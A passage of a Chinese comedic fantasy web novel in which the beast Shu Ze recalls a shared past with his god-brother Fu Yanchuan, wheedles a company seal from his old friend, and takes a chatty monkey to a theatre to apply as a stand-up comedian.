“钱不够了吗?你一天天干什么去了,花那么快。你这习惯要改,给多少就花多少吗?小孩子花钱要有点数,你以为大人挣点钱很容易吗……” 本以为舒泽的懒丧程度,根本就不可能在有钱后再次出现在这里。但这才过去几天啊!他怎么就又来了? 李二牛没忍住带起了过往的习惯,像个老妈子似的谆谆教诲。虽然人还是那么个人,衣服还是那么个衣服,银丝框眼镜也还是那个眼镜。 但莫名的,变成李二牛的易威登,身上笼罩着一层,村头大树下唠不停的大妈味儿。 舒泽找了个单人沙发蘑菇蹲,淡定打断他的碎碎念,“你的味道,太浓,藏不住的。” “胡说!”西装西裤抹发胶的二牛急了,“你才有狐臭,你两个胳肢窝都有狐臭!” 空气,太敏感。 最害怕,空气,太敏感~ 舒泽缓缓锁定某个部位,意味深长,“哦~~~~~~~” 好不容易才把自己重新拼凑起来的易大总裁,又碎了。 抱着头痛哭流涕。 “呜————” 早就说过,这种黄皮条子心思最歹毒吧。原来大家还都不信,受伤的就只有他一个! 可恶可恶可恶,可恶至极!! 但是、 等等—— “傅宴川真的把神力放在你身上的???” 不然他一个靠着卖萌过活,一天除了吃和睡,就知道捣蛋捣蛋和捣蛋的凶兽,怎么会有对其他兽那么强的感知力? “啊哈~” 舒泽很轻松的就回答了这个问题,“其实我也是最近才确定,哥哥的神力真的在我身上。” “但是你。”舒泽直直看向他,用最淡定的姿态扔出最强的炸弹,“你不是已经确认过了吗,那么惊讶干嘛。” 李二牛面色一沉,静默良久。 没什么表情的望过去,“你什么时候知道的?” 第24章 山海境(上) 两千年前 牢山 “这地方阴森森的,真的能进吗?”一个女生紧紧攥着自己的登山包肩带,看着眼前雾气弥漫的原始森林,心里直敲退堂鼓,“要不我们回去吧?” 而旁边一个男生则是满脸兴奋,“就是这种地方才有挑战性,那些景区都是开发好的,人来人往的有什么意思?” 其余四人出口附和,“来都来了,总不能回去。” “你胆子那么小,那干嘛要报名野外探险社。现在说这些,不是拖后腿嘛?” 六人是附近大学的学生,听说这片山奇得很,来过的人大多都会在迷雾中失去方向,鬼打墙似的绕圈子,怎么都进不去。 偶有那么几个经验丰富的探险队深入成功,出来后都疯疯癫癫的。说什么,里面有体型巨大的老虎出没,追着人咬,可怕得很。 但这种地方怎么可能有老虎啊?而且就老虎的恐怖实力,要真的追人咬,这些人还能全须全尾的出来,身上除了自己滚的泥污什么伤口都没有吗? 本来是因为情况频出才下令封锁的牢山,但反倒因为这荒谬的谣言和未解的谜题,引得更多的户外爱好者偷偷潜入。 好巧不巧,附近还有个大学。 活动是自己报的名,又正是要面子的年纪。女生涨红了脸,嗫喏着,“没、没,我没想回去,我跟着你们走。” 这里好歹还有同伴,倒回去的话,她一个人更害怕。 领头的男子当和事佬,“好了,都少说两句。这里面能见度低,大家都跟紧,千万不要走丢了。” 高大的密林内,如盖的树冠遮住大半阳光。缝隙间偶有透出几束光亮,又被雾气包裹。经年累月的落叶堆积在地上,来不及降解完全的腐殖质柔软湿润。人踩在上面,发不出丁点声音。 前路看不到尽头,处处都是长得一模一样的树木。人声一歇,竟然一点声音都没有。 六人挤坐一团,继续向前探寻。 最早提出想要回去的女生,精神高度紧绷的观察四周。前方雾气影影绰绰,恍惚中浮现出巨大的野兽身形。 本就怕到腿软的女生,一下子就尖叫出声,“啊!!!!” 同行的人捂住耳朵,“谢佳!你发什么疯啊!” 女生跌坐在地上,直直望着前方,惊恐后爬,嘴里还在不停的念叨,“有老虎……有老虎……老虎!” 同伴吓了一跳,朝那么看去,依旧是无法化开的浓重雾气,什么都没有。 “吓死我了。”他抱怨道,“什么都没有,你在这里咋咋呼呼什么啊?” “那些没文化的村民编些谎话,你一个学过地理的大学生跟着瞎信,这里根本就不是老虎活动的区域……” “不……不是……我真的看见了!!你们相信我好不好!!” “就在那边,我看见他的影子了!” “我们快跑吧,等下就要被吃掉了,来不及了来不及了……” 女生神神叨叨,崩溃解释,但她的伙伴没一个人相信她。她想自己逃跑,但又怕到腿发软,靠自己根本就站不起来。 就在几人争辩的时候,一道修长的身影缓慢在身后浮现。一道温柔但不乏威严的声音响起,“你们在这里做什么?” 这种地方,突然出现一道人声,比什么影子不影子的可吓人多了。 “我靠!!!!” “艹艹艹艹!!” 站着的几人被吓得抱做一团,眼睛都不敢睁开的胡乱尖叫。 傅宴川上前敲了敲几人的脑袋,没好气道:“叫什么叫,你们老师是鬼吗?” 老师? 学生天然对老师的惧怕瞬间压过所有,尖叫的不叫了,腿抖的不抖了,大着胆子睁开眼,还真是老师。 还是全校师生都认识的超级大帅哥老师。 “我的天!” “傅老师,你怎么会出现在这里啊!” 虚惊一场,几人互相搀扶着大喘气,“吓死我了……” “我靠,我背上全是冷汗。” “在你们眼里,老师比原始森林还要害怕是吧?”傅宴川看着这几个学生直摇头,“平时的安全教育课都上到哪儿去了?” “三令五申不允许做危险的事情,结果你们还敢往封锁区跑。” “哪个专业哪个班的,辅导员是谁。”傅宴川掏出手机,无视学生们的哀求,“做错了事就要接受惩罚,处分一个都别想跑。” 学生们惨叫连连,但傅老师不为所动,“现在,都给我原路返回。” 比起处分,庆幸于自己命保住了的女生,怯生生的说,“老师,我们进来之后就找不到出去的路了。” 不然她早就走了。 傅宴川往身后一指,“路不就在那里吗?” 一条羊肠小道骤然出现在众人眼前,傅宴川赶着几人离开,“不要再找借口了,赶紧走。” 几人面面相觑,也不敢再多留,纷纷朝着小道走去。 傅宴川独自在原地站了会儿,“小泽,还不出来么?” 迷雾深处,女生曾经看到过得巨大兽影再次出现。朝着傅宴川的位置靠近,像进了缩小隧道似的,越来越小,越来越小…… 一辆橘色小猫车“呜呜呜”的开过来,碰瓷似的,一头撞在傅宴川的腿上,尾巴轻轻甩动,翘得老高。圆溜溜的大眼睛,看起来心眼子就不少。 傅宴川轻松将大胖猫抱进怀里,虽然责备,但又不那么走心,“你又吓人。” 还没有刚刚训学生的时候凶。 喵喵把猫下巴磕在傅宴川的手上,享受顺毛服务,懒洋洋的,“他们瞎闯,我把他们吓走,免得他们闯祸。” 总之,猫好,人坏。 傅宴川神色温柔,缓步走在密林中,从容得像是在逛自家后花园。 “是么。”他也不急着拆穿,“你是说,那几个学生能破得了我吓的禁制?” 早些年,傅宴川就关闭了山海境和人类世界的通道。还布下深山迷雾,鲜少有人打扰。 但近年来,追求刺激的人越来越多。甚至还有人看中了这穷乡僻壤的地方,在旁边修了所大学。 结界年久失修,难免有些漏洞。傅宴川干脆给自己捏了个身份,行走在人类世界中。 办起事情来,也方便许多。 但多在人类世界活动,难免就松懈了对小朋友的管教。 小猫车闭眼胡说,“不怕一万,就怕万一。” 傅宴川轻笑了声,“你呀……” 复行数十步,浓雾散去,天地转换。 密林不见,天高辽阔。 天上悬着九个太阳,河流从天而过,长着腿儿的鱼跃出水面。层峦叠嶂,色彩缤纷,四季共存。天有飞禽掠过,遮天蔽日。近处,山花烂漫,各种奇形怪状的兽悠闲的追逐打闹。 傅宴川眼中含笑,挠了把猫猫柔软的肚皮,“你就仗着我舍不得罚你。” 猫猫耳朵向后飞起,充分发挥主观能动性。 我不听我不听,哥哥念经。 傅宴川撸着毛茸茸,颇为无奈。舒泽就是料定了,用兽形出现,他就舍不得多罚,才那么有恃无恐。 被拿捏得死死的傅宴川,轻轻揪了下尾巴作为宣泄,“下次再被我抓住你偷偷溜出山海境,我可就真的关你禁闭了。” 猫猫不耐烦的甩起尾巴,嚣张的打上宴川帝君那张帅脸。 傅宴川:“……” 有眼尖的兽兽发现了傅宴川的身影,高兴的喊道:“是帝君!帝君回来了!” 其他兽兽听见了,纷纷围了上来。 “帝君!真的是帝君!” 刚刚还老实呆在傅宴川的大黄面包突然发作,挣脱怀抱,优雅落地,舔舔爪子。 被兽兽们包围住的傅宴川:“小泽,你去哪儿?” 舒泽迈开猫步,头也不回,“没意思,我回去睡觉。” 傅宴川皱起眉头。 舒泽这些年也太爱睡觉了点,明明小时候那么活泼爱动,现在倒是一有时间就要吵吵着休息。说睡就睡,连地点都顾不了。 他有时候回来,要连翻好几个山头才能把兽兽挖出来。 傅宴川最近回来得少,也有不少事情要处理,只好叮嘱了句,“不要随地大小睡,回家去,我等下来找你。” 小猫车不耐的甩了甩尾巴,表示自己听见了。 傅宴川找到舒泽洞穴时,已经是一个小时后的事情了。 原生态纯天然的洞穴内,遍布各种现代猫猫玩具。但看起来都很新,尤其是放在角落里的猫爬架,甚至都积了好厚一层灰。 而贴着墙根,一溜的猫窝,七八个,各种样式,看起来都极其舒服。每个的使用痕迹都很明显,俨然是经常被宠幸的样子。 不说,谁知道这都是一只猫的家产。 傅宴川不可思议,“就放在你床边的玩具,你都不愿刨一下吗?” 一坨猫拒绝了回答,并裹得更紧了些,表示对你的吵闹十分不满。 舒泽不想搭理他哥,粉垫爪爪捂住耳朵,在心里疯狂蛐蛐。 买那么多玩具有什么用,又没有人陪它玩儿。忙着在人类世界当老师,好不容易回来之后,也是这儿忙那忙。 又没有空管我这只凶兽,那我不睡觉干嘛。 对舒泽的不配合,傅宴川很无奈。但就算舒泽不搭理人,站在它旁边,他心里也是难得的宁静和松懈。 傅宴川捏捏鼻梁,眼下青黑格外明显。他席地而坐,手搭在舒泽身上,一下又一下摸着它柔顺的毛发。目光遣眷,带着浓浓情感。 “小泽,不变成人形吗?” “我们都多久没见了?” 凶兽撅起屁股,并朝你放了个邪恶的屁。休想骗他变成人形,然后再实施家暴。 毛茸茸是拥有特权的。 傅宴川哑然失笑,“罢了,你不想变就不变吧。” 他眼中的笑沉寂下来,对舒泽发出严肃的警告,“最近很危险,千万千万,不要再乱跑……” 第25章 山海镜(下) 舒泽眼睛都懒得睁一下,动了动胡须勉强敷衍。 但等傅宴川起身时,还是没忍住伸出爪子勾住了他的裤子。暗色下,瞳孔放大,圆溜溜的,“哥,你又回人类世界吗?” 虽然它装出一副才没有很在意,我只是怕有人打扰我睡觉的样子 但舒泽在还睁不开眼的时候就被傅宴川捡了回来,从一只手掌就能捧起到长成半挂。它在想什么,傅宴川一眼就能看透。 “小泽,哥哥的困惑,只能在那里找到答案。”傅宴川没有办法把心中的担忧和猜想说出来。只能尽可能的安抚舒泽,“等我把事情解决,我就不出去了。” “就在家里陪你,好不好?” 舒泽歪着脑袋看他,肉垫轻轻踩上他的手,“不急的,哥你不要太累。” 傅宴川一怔,软软的肉垫带着清亮冰意渗透,抚平了内心躁郁。神明高高在上,移山填海无所不能。他是所有兽的帝君,是站在最前面的人。但也有家人,会告诉他不要太累。 傅宴川把爪子裹住包住,笑眯眯的表示,“你是想蹭我身上的热度吧?” 被拆穿的舒泽瞬间炸毛,“你你你,你怎么可以这么想我?!” “虽然我是一只凶兽,但我是一只好凶兽,我敢做敢当的!” 傅宴川也不打断,嘴角带着笑意,安安静静的听它的狡辩。明明此刻满是快乐,但他却不知道,自己还能护住这份快乐多久。 穷奇安静了大半个月的洞穴,终于恢复了鲜活。一团毛茸茸的,茸到看不见四肢也看不见脸的毛球,在门口偷看,又高兴又嫉妒。 高兴头发保住了,不用扯头发去哄小孩儿了。又嫉妒自己做了那么多,居然还抵不过其他人回来随便说两句话。 * 短暂的热闹后,又是长久的沉寂。懒洋洋的舒泽蜷缩在猫窝里,满满当当,严丝合缝,隐隐有往外流的趋势。 这种睡姿,就像躺在人的怀里,慢慢的安全感。 毛球团走进洞穴,嫌弃的绕开地上散乱的玩具,“你已经五天没出门了,不出去晒晒太阳吗?” 仔细看,原来它不是悬浮在半空中。而是脚只有手指那么长,短短的,捯饬得却很快。不凑近了看,还以为它是飘过来的。 舒泽惜字如金,“不。” “嘿!”毛球一生气,把自己炸成蒲公英,“那么好的太阳,你一点出去的欲望都没有吗?” 是很好的太阳,整整九个呢。 小猫车眯开一条缝,“二牛,你好吵。” 蒲公英伸出微不可见的小短手,“没礼貌!你一个小崽子居然敢直呼我的大名!” 虽然说得很有气势,但漂浮的蒲公英根本就不敢靠近这只邪恶凶兽,爬它一爪子下来,给自己毛抓秃。 喊你大名怎么了?我哥哥的大名我都是直接喊呢…… 舒泽在猫窝里咕嘟咕嘟调个头,屁股对准毛球,试图用屁把它蹦出去。 “哐当——” 也不知道它是怎么藏的,一个肉罐头从它灰白色的毛团里滚出来。 熟悉的声音,隐约飘香的味道。舒泽从岔开的四条腿儿中精准锁定,“罐罐!” 李二牛哼哼了两声,它拿捏不了舒泽,还不能用其他东西拿捏了? “你哥说了,不想出去就不出去,但起码要在跑轮上走两圈才行。” 舒泽不想动,但是想吃。 他缓慢的撑起来,慢吞吞开到跑轮旁边,屈尊降贵伸出爪子扒拉了一下,咯吱咯吱咯吱,跑轮艰难旋转大半圈。 后脚再放上去一蹬,“咔咔—咔—咔——” 又走了半圈,堪堪凑齐圆周运动。 舒泽抬起下巴,示意赶紧给兽开罐罐。 李二牛:“……” 真是拿这种心眼子多的兽没办法,它认命的把罐头推过去。在舒泽大快朵颐的时候,抖一抖,又从自带的毛团里抖出一本书来。 兽,混沌。 长毛四足,有目而不见。 身上的每根毛发都是储藏空间,就算是拔下来了,功能依旧不会消失。 书缓缓飘在空中,渐渐稳定。一个看不出正反面的球缓缓朝着右边微挪百分之四十,每一根毛发都高兴的摆动起来。 看得出来,它很喜欢这本书。 书封上,赫然写着,《少奶奶出逃99次:顾太子爷疯了》 一毛团,一猫咪。 互不打扰,和谐共处。 突然,地动山摇。一小块儿石头砸进毛团里失去了踪影。 李二牛警惕的站起来,“是哪只兽又在整幺蛾子了?” 吃饱喝足的舒泽,慢吞吞的舔着爪子洗脸,“像地震。” 李二牛疑惑,“地龙又在翻身?” 它嘟嘟囔囔,有些不满,“它最近翻身也忒频繁了点。” 原先几百年都不带动一下,现在隔三差五的就有动静。 或许是懒鬼之间比较有共同话题,舒泽表示非常理解,“在同一个窝睡久了,有点烦也正常。” 瞧它,猫窝都换了那么多个了。 说着说着,地晃动得更加严重,大块儿大块儿的石头掉下,砸在地上溅起碎屑。但大家都是有神力的兽兽,还不至于被几块儿碎石伤到。 李二牛无语凝噎,虽然舒泽说得有那么点道理,但它还是觉得有点不对劲,“先出去吧,小心等下埋里面了。” 舒泽刚吃完饭,正是要睡觉的时候,想也不想,一口回绝,“不要。” 反正又砸不死它,就在里面睡觉,等哥回来挖它出来就好了。山海境地震,傅宴川肯定很快就会回来的。 李二牛真的是服气,“帝君怎么就捡了你这么个懒东西回来?” 还养成了个祖宗。 反正舒泽皮糙肉厚又砸不出什么事情来,它忙着去外头查看情况,也懒得说它了,“那你就在这里睡觉,不要乱跑。” 舒泽已经圈好姿势,准备进入梦乡了。 李二牛:“……” 这话算是白说。 乱跑,天塌下来砸死它,它都懒得跑。 它转身离去。 舒泽张嘴打个哈欠,继续睡觉、睡觉、睡觉和睡觉…… 易威登听完后气血翻涌,狂抓头发,“没了?!就没了???” 舒·蘑菇·泽:“啊哈~” “我醒来后,看见的就是你。” 虽然他不知道对方带个帽子和口罩是想干啥,但很明显,他是想隐藏身份。 那个时候他刚醒过来,身体里又带着哥哥渡给他的身体,疲倦到了极点。懒得说话也懒得拆穿,全程配合演出。 二牛想让他干什么,他就干什么。 但是他都那么配合了,但是对方看起来还是不满意啊。 舒泽静静看着发疯捶沙发的清冷霸总,“二牛,我想喝水。” “再说一遍!叫我易威登!不!要!叫!二!牛!” “好的,二牛。” “………………” 舒泽捧着盾混集团大老板亲自接的三十五度温水,“所以那天到底发生了什么?” 他也很想知道,为什么哥哥的神力会在它的体内。 再次提起惨烈的那日,刚刚还被怒火烧得活力慢慢的易威登,所有力气一下子被抽了个赶紧。他颓唐的把双手插进头发里,满是苦涩和恨意,“舒泽,我知道你是他带大的,不管我怎么说你都不会信。” “如果我不是亲眼所见,我也不会相信……” 痛苦纠结,仇恨不忍交织在心底,独自背负着疑问在世间行走了几千年。一边告诉自己,为了复仇,为了真相要不择手段。 把舒泽从傅宴川身边带走,又在暗中筹谋试探。明明想要求证的事情已经有了答案,明明眼前这个人在无意识中也成了既得利益者。 但真的面对昔日旧友时,他不仅狠不起来,竟连真相都不忍告诉。严格说起来,他又有什么错呢?他只是……获得了一点偏爱。 他神色复杂的望着舒泽,他还是那个样子,没什么变化。对他而言,只是睡了一觉,什么都没有改变。就算告诉他那些事情,不过也是徒增烦恼。 或者说,害怕他不相信自己说的话,也害怕他回到傅宴川的身边。好不容易重见的伙伴,他不想、不想再一个人孤苦伶仃的走下去。 “总而言之,傅宴川已经不是你曾经认识的傅宴川了。”李二牛多了点自暴自弃的意味,“你还是别找他了。” “我现在也不知道他在哪里,就算知道我也不会告诉你。” 比起二牛的恨海情仇,舒泽的反应就淡定得多了。脸上没什么表情变化,连遮盖眼睛的头发丝都没有晃动一下。 但他握着杯子的手却在不自觉的用力。傅宴川留在他体内的神力感应到眼前兽的悲伤,连带着整颗心都在往外冒酸意。 舒泽努力平复心情,若无其事的,“这个先放放,我来找你是因为有其他的事情。” 李二牛都做好瞒到底的准备了,抬眼一瞅,发现一点追问的想法都没有,好像那个忙着找哥哥的人不是他一样。 刚刚明明也很想知道真相,但一瞬间好像对所有事情都失去了好奇。 但有其他事情找他……肯定不是什么好事! 李二牛又炸了,“你又有什么事情?你怎么一天到晚有那么多事情??” 清冷霸总嘴上骂骂咧咧个不停,刚刚的死气沉沉一扫而空,连本人都没有发现,他紧绷的状态已经平复了许多。 “也不是什么大事。”舒泽喝上一口水,搞人心态的大停顿,“就是我想找一点工作。” 工作? 这是什么奇怪走向。 懒鬼居然要工作? 事出反常必有妖,李二牛心中警铃大作,“你找工作干嘛?” 全然没有抓住“一点”重点。 第26章 全方位坑坑坑 舒泽把自己的坐姿调整端庄,“我只是一个想为社会创造价值的热血青年。” 易大总裁锐评:“什么玩意儿就热血青年了,你连人都不是。” 舒泽:“……” 软的不行,那就只能来硬的了。舒泽转着手腕默默起身,明晃晃的恶意直指易威登。 “你、你你你想干什么?”他缓缓卷缩起身体抱住自己,弱小可怜又无助。 舒泽捏着手腕,“你不要害怕,虽然我睡了很多年,但是拔毛的手法我还是记得的,我会轻轻的……轻轻的……” “不……”冷酷精英霸总满脸惊恐,在舒泽的魔爪碰到自己头发的瞬间,哭得像被强强的民男,“上就上嘛,我给你还不行吗?” “啪嗒——” 舒泽和易威登同时转头。 门口,拿着紧急文件急匆匆刷开大门的总助:“…………” 老板和员工四目相对的瞬间,脑海中高度同步飘过两个字——完了。 他的高冷霸总形象彻底没了 他的职业生涯要宣告结束了,还有—— 老板你长这个样子居然是下面那个! …… 最后,舒泽用自己还没想好自己干什么为由,顺走了易威登的公章。 “不是,你找工作要什么公章?只有异兽干活才需要公司公章盖通行证。难不成你想变回原型去动物园上班吗?” 舒泽懒懒掀起眼皮子,“我需要你教我做事吗?” 易威登:“……” 邪恶黄条子。 舒泽揣着公章和新入账的二十万星币出门了,李二牛操了几百年的心在此刻复苏。 “钱可以花,但是不可以乱花。先给你一点,到时候不够用了再来找我。” “二牛。” 易威登又炸了,“臭小子!和你说了多少遍,不要喊我这个名——” “我相信你。”舒泽很认真的说道。 简简单单四个字,像是施了魔术,瞬间让易威登愣在原地。 “你……”好半晌,易威登喉结攒动,硬生生把漫出来的苦意咽回去,“你个小崽儿,懂什么。” 舒泽被傅宴川捡回来的时候才那么丁点大,弱弱小小。后头就算长大了,骑到大家身上作威作福了,比起那些兽兽,也没多大一团。傅宴川没空的时候,舒泽大多时候都跟在李二牛身边,养了那么多年,可不就是个小崽儿吗? 舒泽暗自腹诽,什么小崽儿,他现在可是养了好多崽的院长,厉害着呢。但这话显然是不适合在这个时候,说了容易暴露真实目的。 而且,“我也相信我哥。” 这里面肯定有什么误会,等他把哥哥找到,让他们俩当面对质就能搞楚了。 感动得不要不要的二牛:“……” 他没好气道:“说那么多,你还不是站在你哥那边吗?” 李二牛等着舒泽辩解,等了好一会儿都没听见动静,转头一瞅,舒泽脸上坦坦荡荡的写了四个大字——那不然呢? 好家伙,他是懂怎么气人的。 他掰着人肩膀往一送,“好了,你别说话了,走走走,赶紧走。” “甭管你在外面干什么,只要别来嚯嚯我就行了。” 舒泽眨眨眼,默默的把话吞回去。不折腾你,我就是折腾一下你的公司。 * 舒泽一走,易大总裁就恢复了冷酷模样,把自己的特助喊进来,“你让苏尔回到他的身边,不用盯梢,他让干什么就干什么。” 特助脑子里面充斥着从前台听来的爱恨情仇,回声空灵,“好的。” 易威登翻了一下新闻,发现全星际还在铺天盖地的找傅宴川,“你去查查那位傅处长的消息,尽量,不强求。” 毕竟那位也不是个简单人物,那么多势力都在找,一点动静都没有。 “但有一点。” “调点人去保育员守着,看能不能蹲到傅处长。” 哪怕已经过去那么多年了,易威登提起傅宴川还是没什么好脾气。 “保、保育院?异兽幼崽保育院?”特助有点恍惚,怀疑自己听错了。 没事派人去那边干什么,正巧那边缺粮食,补货上门啊?还有,傅宴川为什么有可能去那边??不是,他们一个正经公司,去找傅宴川什么啊??? “你去都去了,顺带买点物资送过去,那边日子也不太好过。” 现在都确认这个年代的异兽和曾经那些老朋友多少沾点关系,再放着不管,他心里也过意不去。 无数问题堵在喉咙管,都被打工人那该死的求生欲给抵了下去,“好的,老板。” 一个专业的秘书,只需要听从老板的吩咐,和自己无关的事情坚决不要多问。 问问问…… “冒昧的问一下,您和我们老板到底是什么关系?” 特助用诚挚的目光望着舒泽,迸发出不顾生死的强烈八卦欲望。 众兽拱月的舒泽疑惑的,“?” 物资留下,看不顺眼的人送走。 舒泽负手而立,目视前方,眼中带着筹谋和算计,“皮,把大家都喊过来吧。” “好的。”皮皮领命行事,但走了两步还是无语的倒回来,“要不还是等你把辣条吃完再喊吧。” 舒泽把藏在嘴里的辣条推到中间,“咯吱咯吱。” 铁锤叼着大辣片:“吧唧吧唧吧唧吧唧……” 小灰抱着一根玉米,磕在牙上疯狂转圈,像仓鼠像土拨鼠,像一切鼠,就是不像一只狼。 舒泽最后伸出舌头转了一圈,把油渍残留席卷干净,恢复自己的高深模样,“好了,去喊吧。” 皮皮:“……” 有的时候,他也会怀疑自己,把命运交在舒泽手上是不是一个正确的决定。但现实是,他没有其他选择。 还是那块儿空地,还是那些兽。只是曾经的荒芜已经变成新的家园,曾经不是报团取暖就是玩心眼子强物资的兽兽们,变成了好伙伴。 弱者不再害怕,强者不再欺凌。 在人类主宰,强行限制它们的情况下,它们终于找到了自己的生存方式。 而带来改变的人,正站在台子上,如不倒的翠竹,不弯的青松,望向众兽的目光带着神性的悲悯。 在旁边当小弟背景板的熊铁锤被这紧张的氛围感染,无助的挠了下屁股,“皮皮,我们这是在干森莫啊?” 皮皮学着舒泽的样子,一脸深沉,面无表情的吐出两个字,“装叉。” “莫莫莫???” “咳咳。”舒泽清清嗓子,小声说道,“小孩子不许这样说话。” 看透一切的皮皮冷漠撩起眼皮子。 那咋啦? 把舒泽的死样子学了个十成十。 自知带坏小崽子的舒泽,若无其事的咳了声。他现在精气神很足,因为他已经确定了。就是李二牛把他从哥哥身边带走的,但是他根本就不会害他。 现在他要做的事情就是。 羊毛出在羊身上,派兽兽出去打工然后养兽兽。然后扩大自己的影响力,让他哥看见自己的消息来找他。 “诸位,今天把大家召集在一起,是有件很重要的事情宣布。” 舒泽难得那么正经,但院里的兽除了三小只,谁知道他真实德行。他那严肃的表情,一下子就把兽兽门给唬住了。 “这次,我千辛万苦的带回了物资,也从中明白了一个道理。人类!欺压我们兽族已久,我们必须开始反击了!” 皮皮疑惑的望向一本正经的舒泽:“?” 他们不是出去打个工吗?这是在燃什么呢? 虽然不知道在燃什么,但兽兽们确实是正经燃起来了。灵智开得比较高的,热血中还稍稍记得舒泽自己就是个人类。那些不会说话的,已经被忽悠得嗷嗷叫了。 “这次,我专门制定了入侵人类世界邪恶计划。我们将渗透各行各业,进行深耕,进行潜伏,让那些人类彻底、彻底、离不开我们!” 好刺激!好歹毒的计划! 这下好了。 有脑子的也被舒泽忽悠瘸了。 唯有知道真相的皮皮,恍然大悟,灵台清明。 上个班还能说得那么高大上??? 舒泽满意的看着陷入激情狂欢的兽兽们,嘴角露出邪恶微笑, “首先第一步,我们要侵入他们的文化世界。” 他一一扫过在场的兽,对着大嘴猴儿招招手,笑得像狼外婆,“嘴儿啊,过来,院长有事要交代你。” 大嘴猴儿受宠若惊的指了指自己,“啊,院长,你说我啊。” 它平时因为嘴巴大,到处讲八卦,被不少兽嫌弃。但这次,那么艰巨的任务,院长居然第一个点了他的名字。它在众兽怀疑和惊讶的目光中战战兢兢的靠近院长。 熊铁锤瞅了又瞅,找另外一个没脑子的兄弟聊天,搓着自己的胖胳膊,“灰啊,我怎么感觉凉嗖嗖的哇。” 虽然可以报复人类,他也很开心,很激动。但是当他看见舒泽脸上的笑容时,一只兽的直觉告诉他,事情没有那么简单。 他犹犹豫豫,“你说院长不会坑兽吧?” 小灰也不是很自信,“不太好说。” 计划过于宏大,他有点害怕。他们都还是只是异兽族的崽崽,能完成那么宏伟的目标吗? 没脑子兄弟组,齐刷刷看向外置唯一大脑。 皮皮抱着手册双眼放光,这是他第一次知道,原来兽还可以那么忽悠。 “放心吧。”他抽空安抚了一下两个好朋崽。 熊铁锤和小灰瞬间放下心。 虽然还是有点担心,但是皮皮都那么说了,指定不会有问题的。 “他不仅坑兽,他还会坑人。” 保不齐谁被坑得更惨。 熊铁锤、小灰:“…………” 勤勤恳恳工作的易大总裁又打了两个喷嚏,满是疑惑,“不会真的感冒了吧?” 第27章 第27章 大嘴上岗 “嘴儿,此去一别,不知道什么时候才能见面……” “这个你拿着。”一只漂亮的金丝猴把一串香蕉放在大嘴猴的爪子里,漂亮的毛发都因为悲伤变得暗淡。 背着行囊的大嘴猴垮着五官有点局促的脸,“小金,这是你这个月的份额,我不能要。” 俩猴情深,那是物种相吸的友谊。 “……那个。”舒泽不是很想打断香蕉友谊,但是,“我只是带他去上班,不是派他去炸碉堡。” 他提溜起大嘴猴,“还是能回来的哈。” 在所有兽兽的目送下,院长带着大嘴猴外出闯荡社会去了。舒泽头也不回的招招手,“看好家里。” 站在最前面,小小一只的皮皮,捏着手里的员工手册,小声回应,“我会的。” 一人一猴,渐行渐远,直到化成两个黑点。小灰有点惆怅,“院长什么时候回来啊?大嘴能顺利潜伏吗?” 铁锤也不知道,但是他确定一件事,“不管怎么说,院长都会带着大嘴回来的。” —— 季华剧院 象征意义带上了黑色抑制器的大嘴猴捏着舒泽的衣角惴惴不安,它是第一次踏入人类社会,这里的一切都让他感到陌生和恐惧。 “院、院长,我们就这样大摇大摆的出现吗?”大嘴猴说话都发虚。 不是说要潜伏吗?这人来人往的,好多人都在看他,好可怕啊啊啊啊啊。 舒泽关掉自己的智脑,对周围人好奇、鄙夷的打量视若无睹。虽然兽不常出现,但有些人也有随身养兽,当宠物当苦力的习惯。大嘴猴身上又带着抑制器,虽然没开,但他们又不知道。 合法合规,还有后台,他怕啥? 望着剧院的名字,舒泽淡然又超脱,“嘴儿,今天院长教你一句话。” “什、什么啊?” 舒泽负手而立,迷之玄策,“大隐,隐于市。” 遗世独立,有世外高人之风。 大嘴猴双目放光的看着院长。听不懂,但是好厉害。 …… “你好,请问你们这里招工吗?” 前台脸上热络的笑容一下子就淡了,收起价目表,冷淡回应,“我们是整个星际最受欢迎的剧院,人流量大,肯定是缺人的。” “但我们这儿要求也高,也不是什么人都要。” 他扫了眼舒泽,含蓄又委婉,“面试也挺难的。” 舒泽点点头,表示自己知道了,并虚心请教,“不轻易招人,那兽呢?” 前台一时没有反应过来,“什、什么?” 舒泽一把将大嘴猴提起来,“兽面试,你们招吗?” 一张毛茸茸的脸突然出现在眼前,前台被吓得一个后仰,冷汗都下来了。大嘴猴牢记舒泽的“见人三分笑,单纯无害惹人爱”的潜伏原则,友好的裂开大嘴,扬起一个可以吞下人一个拳头的憨厚笑容。 前台:“…………” 两眼一翻,晕了。 舒泽:“o……i?” 兴奋的大嘴猴:“院长,还是你厉害,轻而易举的就把这人给吓死了。我们的复仇计划,成功迈出了第一步!” 舒泽:“…………” 不,别胡说。 他只是个来求职的。 差点被保安叉出去的那一刻,舒泽掏出了盖了盾混集团总裁私章的推荐信,“我们真的是来面试的!” 凭借着那封信,舒泽成功的被带进了办公室。 经理接过那封推荐信,目光逐渐动摇,还真是易总的章,“想面试什么岗位?” 盾混集团的老总,还是要给几分面子的。 “咱们这儿,最近也不缺人手。你要真的想的话,我可以给你介绍给隔壁,那边库房有空缺。” 他这话,是对舒泽说的。毕竟带着项圈,能在外面自由活动的兽,那都是人的私有财产。 出来找工作,肯定也是要兽给自己赚钱。他这里从来没招过工兽,看在易总的面子上,也能给他指条路。 哪曾想,舒泽根本就没听他说话,反手掏出一张招聘单,“你们这里不是招脱口秀演员吗?” 经理:“……?” 他眼神飘忽看向舒泽身后的猴儿,又恍惚的转头看向舒泽。千言万语哽在心头,沉默,开始蔓延。 舒泽则是鼓励的点点头,来,说出来。就是你猜的那样,说出来啊。 成为焦点的猴猴,又往舒泽身后缩了缩。但它颤抖的眼神,看起来不像是害怕,反倒是兴奋。好多人,猴有点想说话。 它是一只话唠猴,以一己之力唠得方圆五里内没有兽居住。后面到了山下和院长一起住,虽然都是熟兽了吧,但将个烂就,聊聊天也不是不行。 但大家都是闷头干活,都不乐意听它说话。 天知道,它都快憋成什么样子了! 好兴奋,嗓子在发痒! 经理用出毕生定力,艰难吐出话,“你的意思是,要一只猴表演脱口秀吗?” 舒泽:“啊哈~” 他歪头,不理解的问道:“有规定说,猴子不能当脱口秀演员吗?” 经理一阵语塞。 兽确实能打工,这猴儿的手续也确实齐全。甚至还有盾混集团的易总做担保,但是…… “谁家好人把猴儿送来当脱口秀演员啊!” “既无规定不可,那就是可。”舒泽持续性忽悠,“别人家都没有这样的员工,你家有,那不成独一无二的竞争力了吗?” 本来还在抓狂的经理一下子就被舒泽的话戳中了心巴。 他们自己就是文娱行业的,当然知道在同类化眼中的今天,一个无可替代的亮点是多么重要。 